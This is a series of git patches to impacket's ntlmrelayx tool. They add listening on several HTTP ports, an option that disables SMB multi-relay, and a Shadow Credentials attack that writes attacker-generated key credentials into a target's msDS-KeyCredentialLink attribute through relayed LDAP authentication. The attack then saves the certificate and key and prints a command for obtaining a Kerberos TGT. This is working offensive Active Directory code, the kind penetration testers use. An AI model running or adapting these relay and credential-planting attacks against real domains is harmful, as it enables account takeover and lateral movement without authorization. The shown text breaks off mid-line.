examples/ntlmrelayx.py | 33 ++++++--- .../ntlmrelayx/servers/httprelayserver.py | 74 ++++++++++--------- impacket/examples/ntlmrelayx/utils/config.py | 16 ++++ 3 files changed, 80 insertions(+), 43 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index f065e409d4..499555f14b 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -44,12 +44,13 @@ from urllib2 import ProxyHandler, build_opener, Request import json +from time import sleep from threading import Thread from impacket import version from impacket.examples import logger from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer -from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig +from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig, parse_listening_ports from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS @@ -167,14 +168,6 @@ def start_servers(options, threads): c.setIsADCSAttack(options.adcs) c.setADCSOptions(options.template) - if server is HTTPRelayServer: - c.setListeningPort(options.http_port) - c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) - elif server is SMBRelayServer: - c.setListeningPort(options.smb_port) - elif server is WCFRelayServer: - c.setListeningPort(options.wcf_port) - #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPRelayServer and options.r is not None: c.setMode('REDIRECT') @@ -184,6 +177,21 @@ def start_servers(options, threads): if server is not SMBRelayServer and options.random: c.setRandomTargets(True) + if server is HTTPRelayServer: + c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) + for port in options.http_port: + c.setListeningPort(port) + s = server(c) + s.start() + threads.add(s) + sleep(0.001) + continue + + elif server is SMBRelayServer: + c.setListeningPort(options.smb_port) + elif server is WCFRelayServer: + c.setListeningPort(options.wcf_port) + s = server(c) s.start() threads.add(s) @@ -235,7 +243,7 @@ def stop_servers(threads): serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server') parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) - parser.add_argument('--http-port', type=int, help='Port to listen on http server', default=80) + parser.add_argument('--http-port', help='Port(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`', default="80") parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389) # ADWS parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') @@ -379,6 +387,11 @@ def stop_servers(threads): if not options.no_http_server: RELAY_SERVERS.append(HTTPRelayServer) + try: + options.http_port = parse_listening_ports(options.http_port) + except ValueError: + logging.error("Incorrect specification of port range for HTTP server") + sys.exit(1) if options.r is not None: logging.info("Running HTTP server in redirect mode") diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 651180e5dc..c075113606 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -64,9 +64,11 @@ def __init__(self,request, client_address, server): self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.getTarget() if self.target is None: - LOG.info("HTTPD: Received connection from %s, but there are no more targets left!" % client_address[0]) + LOG.info("HTTPD(%s): Received connection from %s, but there are no more targets left!" % ( + self.server.server_address[1], client_address[0])) return - LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) + LOG.info("HTTPD(%s): Received connection from %s, attacking target %s://%s" % ( + self.server.server_address[1], client_address[0] ,self.target.scheme, self.target.netloc)) try: http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) except Exception as e: @@ -79,8 +81,8 @@ def handle_one_request(self): except KeyboardInterrupt: raise except Exception as e: - LOG.debug("Exception:", exc_info=True) - LOG.error('Exception in HTTP request handler: %s' % e) + LOG.debug("HTTPD(%s): Exception:" % self.server.server_address[1], exc_info=True) + LOG.error('HTTPD(%s): Exception in HTTP request handler: %s' % (self.server.server_address[1], e)) def log_message(self, format, *args): return @@ -161,7 +163,7 @@ def do_PROPFIND(self): if messageType == 1: if not self.do_ntlm_negotiate(token, proxy=proxy): - LOG.info("do negotiate failed, sending redirect") + LOG.info("HTTPD(%s): do negotiate failed, sending redirect" % self.server.server_address[1]) self.do_REDIRECT() elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() @@ -169,12 +171,14 @@ def do_PROPFIND(self): if not self.do_ntlm_auth(token,authenticateMessage): if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: - LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % ( - self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), + LOG.info("HTTPD(%s): Authenticating against %s://%s as %s\\%s FAILED" % ( + self.server.server_address[1], self.target.scheme, self.target.netloc, + authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: - LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % ( - self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), + LOG.info("HTTPD(%s): Authenticating against %s://%s as %s\\%s FAILED" % ( + self.server.server_address[1], self.target.scheme, self.target.netloc, + authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) # Only skip to next if the login actually failed, not if it was just anonymous login or a system account # which we don't want @@ -187,12 +191,14 @@ def do_PROPFIND(self): self.do_AUTHHEAD(b'NTLM', proxy=proxy) else: if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: - LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( - self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), + LOG.info("HTTPD(%s): Authenticating against %s://%s as %s\\%s SUCCEED" % ( + self.server.server_address[1], self.target.scheme, self.target.netloc, + authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: - LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( - self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), + LOG.info("HTTPD(%s): Authenticating against %s://%s as %s\\%s SUCCEED" % ( + self.server.server_address[1], self.target.scheme, self.target.netloc, + authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) self.do_attack() @@ -254,14 +260,14 @@ def do_GET(self): self.do_SMBREDIRECT() return - LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) + LOG.info('HTTPD(%s): Client requested path: %s' % (self.server.server_address[1], self.path.lower())) # Serve WPAD if: # - The client requests it # - A WPAD host was provided in the command line options # - The client has not exceeded the wpad_auth_num threshold yet if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]): - LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) + LOG.info('HTTPD(%s): Serving PAC file to client %s' % (self.server.server_address[1], self.client_address[0])) self.serve_wpad() return @@ -298,8 +304,8 @@ def do_GET(self): if messageType == 1: if not self.do_ntlm_negotiate(token, proxy=proxy): #Connection failed - LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', - self.target.scheme, self.target.netloc) + LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed. Skipping to next target' % ( + self.server.server_address[1], self.target.scheme, self.target.netloc)) self.server.config.target.logTarget(self.target) self.do_REDIRECT() elif messageType == 3: @@ -308,13 +314,13 @@ def do_GET(self): if not self.do_ntlm_auth(token,authenticateMessage): if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: - LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( - self.target.scheme, self.target.netloc, + LOG.error("HTTPD(%s): Authenticating against %s://%s as %s\\%s FAILED" % ( + self.server.server_address[1], self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: - LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( - self.target.scheme, self.target.netloc, + LOG.error("HTTPD(%s): Authenticating against %s://%s as %s\\%s FAILED" % ( + self.server.server_address[1], self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) @@ -330,12 +336,14 @@ def do_GET(self): else: # Relay worked, do whatever we want here... if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: - LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( - self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), + LOG.info("HTTPD(%s): Authenticating against %s://%s as %s\\%s SUCCEED" % ( + self.server.server_address[1], self.target.scheme, self.target.netloc, + authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: - LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( - self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), + LOG.info("HTTPD(%s): Authenticating against %s://%s as %s\\%s SUCCEED" % ( + self.server.server_address[1], self.target.scheme, self.target.netloc, + authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], @@ -385,7 +393,8 @@ def do_ntlm_negotiate(self, token, proxy): if self.challengeMessage is False: return False else: - LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper()) + LOG.error('HTTPD(%s): Protocol Client for %s not found!' % ( + self.server.server_address[1], self.target.scheme.upper())) return False #Calculate auth @@ -428,24 +437,23 @@ def do_attack(self): self.authUser) clientThread.start() else: - LOG.error('No attack configured for %s' % self.target.scheme.upper()) + LOG.error('HTTPD(%s): No attack configured for %s' % (self.server.server_address[1], self.target.scheme.upper())) def __init__(self, config): Thread.__init__(self) self.daemon = True self.config = config self.server = None + self.httpport = None def run(self): - LOG.info("Setting up HTTP Server") + if not self.config.listeningPort: + self.config.listeningPort = 80 - if self.config.listeningPort: - httpport = self.config.listeningPort - else: - httpport = 80 + LOG.info("Setting up HTTP Server on port %s" % self.config.listeningPort) # changed to read from the interfaceIP set in the configuration - self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config) + self.server = self.HTTPServer((self.config.interfaceIp, self.config.listeningPort), self.HTTPHandler, self.config) try: self.server.serve_forever() diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index d447eb8509..023056fd9f 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -218,3 +218,19 @@ def setADCSOptions(self, template): def setIsADCSAttack(self, isADCSAttack): self.isADCSAttack = isADCSAttack + +def parse_listening_ports(value): + ports = set() + for entry in value.split(","): + items = entry.split("-") + if len(items) > 2: + raise ValueError + if len(items) == 1: + ports.add(int(items[0])) # Can raise ValueError if casted value not an Int, will be caught by calling method + continue + item1, item2 = map(int, items) # Can raise ValueError if casted values not an Int, will be caught by calling method + if item2 < item1: + raise ValueError("Upper bound in port range smaller than lower bound") + ports.update(range(item1, item2 + 1)) + + return ports From 32aea4c96e59896d718e34ce925164f6ed13e68a Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 21 Jan 2022 15:41:44 +0100 Subject: [PATCH 15/44] disable-multi smb added --- examples/ntlmrelayx.py | 3 + .../ntlmrelayx/servers/smbrelayserver.py | 90 ++++++++++++++++--- impacket/examples/ntlmrelayx/utils/config.py | 4 + 3 files changed, 85 insertions(+), 12 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index f065e409d4..06f09a6324 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -147,6 +147,7 @@ def start_servers(options, threads): c.setExeFile(options.e) c.setCommand(options.c) c.setEnumLocalAdmins(options.enum_local_admins) + c.setDisableMulti(options.disable_multi) c.setEncoding(codec) c.setMode(mode) c.setAttacks(PROTOCOL_ATTACKS) @@ -262,6 +263,8 @@ def stop_servers(threads): parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') + parser.add_argument('--disable-multi', action="store_true", required=False, help='If set, disable multi-host relay') + parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index b5e6f5a957..d91d7d470f 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -57,6 +57,7 @@ def __init__(self,config): #Username we auth as gets stored here later self.authUser = None self.proxyTranslator = None + # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() @@ -126,6 +127,33 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 + if self.config.disableMulti: + + if self.config.mode.upper() == 'REFLECTION': + self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) + self.target = self.targetprocessor.getTarget() + + LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, + self.target.netloc)) + + try: + if self.config.mode.upper() == 'REFLECTION': + # Force standard security when doing reflection + LOG.debug("Downgrading to standard security") + extSec = False + #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) + else: + extSec = True + # Init the correct client for our target + client = self.init_client(extSec) + except Exception as e: + LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) + self.targetprocessor.logTarget(self.target) + else: + connData['SMBClient'] = client + connData['EncryptionKey'] = client.getStandardSecurityChallenge() + smbServer.setConnectionData(connId, connData) + if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: @@ -134,7 +162,7 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() - + # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED @@ -183,7 +211,7 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): ############################################################# # SMBRelay # Are we ready to relay or should we just do local auth? - if 'relayToHost' not in connData: + if not self.config.disableMulti and 'relayToHost' not in connData: # Just call the original SessionSetup respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket) # We remove the Guest flag @@ -328,8 +356,8 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): self.server.getJTRdumpPath()) connData['Authenticated'] = True - del(connData['relayToHost']) - + if not self.config.disableMulti: + del(connData['relayToHost']) self.do_attack(client) # Now continue with the server ############################################################# @@ -364,6 +392,8 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), authenticateMessage['user_name'].decode ('utf-16le'))).upper () + if self.config.disableMulti: + return self.origsmb2TreeConnect(connId, smbServer, recvPacket) # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: @@ -442,11 +472,45 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): ### SMBv1 Part ################################################################# def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) - if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: + + if self.config.disableMulti: if self.config.mode.upper() == 'REFLECTION': - # Force standard security when doing reflection - LOG.debug("Downgrading to standard security") - recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) + self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) + + self.target = self.targetprocessor.getTarget() + + LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], + self.target.scheme, self.target.netloc)) + + try: + if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: + extSec = False + else: + if self.config.mode.upper() == 'REFLECTION': + # Force standard security when doing reflection + LOG.debug("Downgrading to standard security") + extSec = False + recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) + else: + extSec = True + + # Init the correct client for our target + client = self.init_client(extSec) + except Exception as e: + LOG.error( + "Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) + self.targetprocessor.logTarget(self.target) + else: + connData['SMBClient'] = client + connData['EncryptionKey'] = client.getStandardSecurityChallenge() + smbServer.setConnectionData(connId, connData) + + else: + if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: + if self.config.mode.upper() == 'REFLECTION': + # Force standard security when doing reflection + LOG.debug("Downgrading to standard security") + recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) ############################################################# @@ -458,10 +522,10 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): ############################################################# # SMBRelay # Are we ready to relay or should we just do local auth? - if 'relayToHost' not in connData: - # Just call the original SessionSetup - return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) - + if not self.config.disableMulti: + if 'relayToHost' not in connData: + # Just call the original SessionSetup + return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) # We have confirmed we want to relay to the target host. respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) @@ -679,6 +743,8 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), authenticateMessage['user_name'].decode ('utf-16le'))).upper () + if self.config.disableMulti: + return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index d447eb8509..5f8091c543 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -42,6 +42,7 @@ def __init__(self): self.encoding = None self.ipv6 = False self.remove_mic = False + self.disableMulti = False self.command = None @@ -132,6 +133,9 @@ def setCommand(self, command): def setEnumLocalAdmins(self, enumLocalAdmins): self.enumLocalAdmins = enumLocalAdmins + def setDisableMulti(self, disableMulti): + self.disableMulti = disableMulti + def setEncoding(self, encoding): self.encoding = encoding From fe744026ec2069f169d4aab9d05b32c4743cb962 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Tue, 1 Feb 2022 16:38:16 +0100 Subject: [PATCH 16/44] Adding Shadow Credentials attack to ntlmrelayx Co-authored-by: Tw1sm Co-authored-by: nodauf --- examples/ntlmrelayx.py | 13 +++ .../examples/ntlmrelayx/attacks/ldapattack.py | 93 +++++++++++++++++++ impacket/examples/ntlmrelayx/utils/config.py | 15 +++ requirements.txt | 1 + 4 files changed, 122 insertions(+) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index f065e409d4..92abe0f68f 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -166,6 +166,8 @@ def start_servers(options, threads): c.setWebDAVOptions(options.serve_image) c.setIsADCSAttack(options.adcs) c.setADCSOptions(options.template) + c.setIsShadowCredentialsAttack(options.shadow_credentials) + c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, options.cert_outfile_path) if server is HTTPRelayServer: c.setListeningPort(options.http_port) @@ -327,6 +329,17 @@ def stop_servers(threads): adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, default="Machine", help='AD CS template. If you are attacking Domain Controller or other windows server machine, default value should be suitable.') + # Shadow Credentials attack options + shadowcredentials = parser.add_argument_group("Shadow Credentials attack options") + shadowcredentials.add_argument('--shadow-credentials', action='store_true', required=False, + help='Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)') + shadowcredentials.add_argument('--shadow-target', action='store', required=False, help='target account (user or computer$) to populate msDS-KeyCredentialLink from') + shadowcredentials.add_argument('--pfx-password', action='store', required=False, + help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)') + shadowcredentials.add_argument('--export-type', action='store', required=False, choices=["PEM", " PFX"], type=lambda choice: choice.upper(), default="PFX", + help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') + shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') + try: options = parser.parse_args() except Exception as e: diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 6e1967e5ea..5ba5149197 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -38,6 +38,11 @@ from impacket.uuid import string_to_bin, bin_to_string from impacket.structure import Structure, hexdump +from dsinternals.system.Guid import Guid +from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2 +from dsinternals.system.DateTime import DateTime +from dsinternals.common.data.hello.KeyCredential import KeyCredential + # This is new from ldap3 v2.5 try: from ldap3.protocol.microsoft import security_descriptor_control @@ -231,6 +236,89 @@ def addUserToGroup(self, userDn, domainDumper, groupDn): else: LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result))) + + def shadowCredentialsAttack(self, domainDumper): + if self.config.ShadowCredentialsTarget in delegatePerformed: + LOG.info('Shadow credentials attack already performed for %s, skipping' % self.config.ShadowCredentialsTarget) + return + # If the target is not specify, we try to modify the user himself + if not self.config.ShadowCredentialsTarget: + self.config.ShadowCredentialsTarget = self.username + + LOG.info("Searching for the target account") + + # Get the domain we are in + domaindn = domainDumper.root + # domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] + domain = "DOMAIN.LOCAL" + + # Get target computer DN + result = self.getUserInfo(domainDumper, self.config.ShadowCredentialsTarget) + if not result: + LOG.error('Target account does not exist! (wrong domain?)') + return + else: + target_dn = result[0] + LOG.info("Target user found: %s" % target_dn) + + LOG.info("Generating certificate") + certificate = X509Certificate2(subject=self.config.ShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365)) + LOG.info("Certificate generated") + LOG.info("Generating KeyCredential") + keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=target_dn, currentTime=DateTime()) + LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD()) + LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString()) + self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) + results = None + for entry in self.client.response: + if entry['type'] != 'searchResEntry': + continue + results = entry + if not results: + LOG.error('Could not query target user properties') + return + try: + new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()] + LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % self.config.ShadowCredentialsTarget) + self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]}) + if self.client.result['result'] == 0: + LOG.info("Updated the msDS-KeyCredentialLink attribute of the target object") + if self.config.ShadowCredentialsOutfilePath is None: + path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8)) + LOG.debug("No outfile path was provided. The certificate(s) will be store with the filename: %s" % path) + else: + path = self.config.ShadowCredentialsOutfilePath + if self.config.ShadowCredentialsExportType == "PEM": + certificate.ExportPEM(path_to_files=path) + LOG.info("Saved PEM certificate at path: %s" % path + "_cert.pem") + LOG.info("Saved PEM private key at path: %s" % path + "_priv.pem") + LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") + LOG.info("Run the following command to obtain a TGT") + LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, domain, self.config.ShadowCredentialsTarget, path)) + elif self.config.ShadowCredentialsExportType == "PFX": + if self.config.ShadowCredentialsPFXPassword is None: + password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20)) + LOG.debug("No pass was provided. The certificate will be store with the password: %s" % password) + else: + password = self.config.ShadowCredentialsPFXPassword + certificate.ExportPFX(password=password, path_to_file=path) + LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx") + LOG.info("Must be used with password: %s" % password) + LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") + LOG.info("Run the following command to obtain a TGT") + LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache" % (path, password, domain, self.config.ShadowCredentialsTarget, path)) + delegatePerformed.append(self.config.ShadowCredentialsTarget) + else: + if self.client.result['result'] == 50: + LOG.error('Could not modify object, the server reports insufficient rights: %s' % self.client.result['message']) + elif self.client.result['result'] == 19: + LOG.error('Could not modify object, the server reports a constrained violation: %s' % self.client.result['message']) + else: + LOG.error('The server returned an error: %s' % self.client.result['message']) + except IndexError: + LOG.info('Attribute msDS-KeyCredentialLink does not exist') + return + def delegateAttack(self, usersam, targetsam, domainDumper, sid): global delegatePerformed if targetsam in delegatePerformed: @@ -723,6 +811,11 @@ def run(self): self.addComputer(computerscontainer, domainDumper) return + # Perform the Shadow Credentials attack if it is enabled + if self.config.IsShadowCredentialsAttack: + self.shadowCredentialsAttack(domainDumper) + return + # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index d447eb8509..83eb4633f1 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -98,6 +98,12 @@ def __init__(self): self.isADCSAttack = False self.template = None + # Shadow Credentials attack options + self.IsShadowCredentialsAttack = False + self.ShadowCredentialsPFXPassword = None + self.ShadowCredentialsExportType = None + self.ShadowCredentialsOutfilePath = None + def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -218,3 +224,12 @@ def setADCSOptions(self, template): def setIsADCSAttack(self, isADCSAttack): self.isADCSAttack = isADCSAttack + + def setIsShadowCredentialsAttack(self, IsShadowCredentialsAttack): + self.IsShadowCredentialsAttack = IsShadowCredentialsAttack + + def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentialsPFXPassword, ShadowCredentialsExportType, ShadowCredentialsOutfilePath): + self.ShadowCredentialsTarget = ShadowCredentialsTarget + self.ShadowCredentialsPFXPassword = ShadowCredentialsPFXPassword + self.ShadowCredentialsExportType = ShadowCredentialsExportType + self.ShadowCredentialsOutfilePath = ShadowCredentialsOutfilePath diff --git a/requirements.txt b/requirements.txt index fd8459bb80..3791297793 100644 --- a/requirements.txt +++ b/requirements.txt @@ -8,3 +8,4 @@ ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6 ldapdomaindump>=0.9.0 flask>=1.0 pyreadline;sys_platform == 'win32' +dsinternals From 435fba1a73bdd32c6ba1ed34b4aee5e0368f1959 Mon Sep 17 00:00:00 2001 From: Nodauf Date: Sun, 6 Feb 2022 10:15:28 +0400 Subject: [PATCH 17/44] Fix issue when two differents users tried to do the attacks without the target being specified --- .../examples/ntlmrelayx/attacks/ldapattack.py | 24 ++++++++++--------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 5ba5149197..c603cbaa89 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -238,12 +238,14 @@ def addUserToGroup(self, userDn, domainDumper, groupDn): def shadowCredentialsAttack(self, domainDumper): - if self.config.ShadowCredentialsTarget in delegatePerformed: - LOG.info('Shadow credentials attack already performed for %s, skipping' % self.config.ShadowCredentialsTarget) - return + currentShadowCredentialsTarget = self.config.ShadowCredentialsTarget # If the target is not specify, we try to modify the user himself - if not self.config.ShadowCredentialsTarget: - self.config.ShadowCredentialsTarget = self.username + if not currentShadowCredentialsTarget: + currentShadowCredentialsTarget = self.username + + if currentShadowCredentialsTarget in delegatePerformed: + LOG.info('Shadow credentials attack already performed for %s, skipping' % currentShadowCredentialsTarget) + return LOG.info("Searching for the target account") @@ -253,7 +255,7 @@ def shadowCredentialsAttack(self, domainDumper): domain = "DOMAIN.LOCAL" # Get target computer DN - result = self.getUserInfo(domainDumper, self.config.ShadowCredentialsTarget) + result = self.getUserInfo(domainDumper, currentShadowCredentialsTarget) if not result: LOG.error('Target account does not exist! (wrong domain?)') return @@ -262,7 +264,7 @@ def shadowCredentialsAttack(self, domainDumper): LOG.info("Target user found: %s" % target_dn) LOG.info("Generating certificate") - certificate = 